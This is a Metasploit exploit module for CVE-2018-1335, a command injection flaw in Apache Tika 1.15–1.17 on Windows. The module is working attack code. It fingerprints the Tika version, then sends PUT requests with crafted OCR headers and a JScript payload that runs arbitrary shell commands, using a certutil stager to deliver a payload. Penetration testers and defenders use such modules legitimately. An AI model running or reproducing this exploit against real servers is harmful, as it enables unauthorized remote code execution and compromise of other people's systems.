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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Tika Header Command Injection',  
'Description' => %q{  
This module exploits a command injection vulnerability in Apache  
Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is  
used to bypass magic bytes checking. When OCR is specified in the  
request, parameters can be passed to change the parameters passed  
at command line to allow for arbitrary JScript to execute. A  
JScript stub is passed to execute arbitrary code. This module was  
verified against version 1.15 - 1.17 on Windows 2012.  
While the CVE and finding show more versions vulnerable, during  
testing it was determined only > 1.14 was exploitable due to  
jp2 support being added.  
},  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows',  
{'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'win',  
'CmdStagerFlavor' => ['certutil']  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 25 2018',  
'Author' =>  
[  
'h00die', # msf module  
'David Yesland', # edb submission  
'Tim Allison' # discovery  
],  
'References' =>  
[  
['EDB', '46540'],  
['URL', 'https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/'],  
['URL', 'https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E'],  
['CVE', '2018-1335']  
]))  
  
register_options(  
[  
Opt::RPORT(9998),  
OptString.new('TARGETURI', [true, 'The base path to the web application', '/'])  
])  
  
register_advanced_options(  
[  
OptBool.new('ForceExploit', [true, 'Override check result', false])  
])  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri),  
})  
if res.nil?  
vprint_error('No server response, check configuration')  
return CheckCode::Safe  
elsif res.code != 200  
vprint_error('No server response, check configuration')  
return CheckCode::Safe  
end  
  
if res.body =~ /Apache Tika (\d.[\d]+)/  
version = Gem::Version.new($1)  
vprint_status("Apache Tika Version Detected: #{version}")  
if version.between?(Gem::Version.new('1.15'), Gem::Version.new('1.17'))  
return CheckCode::Vulnerable  
end  
end  
CheckCode::Safe  
end  
  
def execute_command(cmd, opts = {})  
cmd.gsub(/"/, '\"')  
jscript="var oShell = WScript.CreateObject('WScript.Shell');\n"  
jscript << "var oExec = oShell.Exec(\"cmd /c #{cmd}\");"  
  
print_status("Sending PUT request to #{peer}#{normalize_uri(target_uri, 'meta')}")  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri, 'meta'),  
'headers' => {  
"X-Tika-OCRTesseractPath" => '"cscript"',  
"X-Tika-OCRLanguage" => "//E:Jscript",  
"Expect" => "100-continue",  
"Content-type" => "image/jp2",  
"Connection" => "close"},  
'data' => jscript  
})  
  
fail_with(Failure::Disconnected, 'No server response') unless res  
unless (res.code == 200 && res.body.include?('tika'))  
fail_with(Failure::UnexpectedReply, 'Invalid response received, target may not be vulnerable')  
end  
end  
  
def exploit  
checkcode = check  
unless checkcode == CheckCode::Vulnerable || datastore['ForceExploit']  
print_error("#{checkcode[1]}. Set ForceExploit to override.")  
return  
end  
  
execute_cmdstager(linemax: 8000)  
end  
end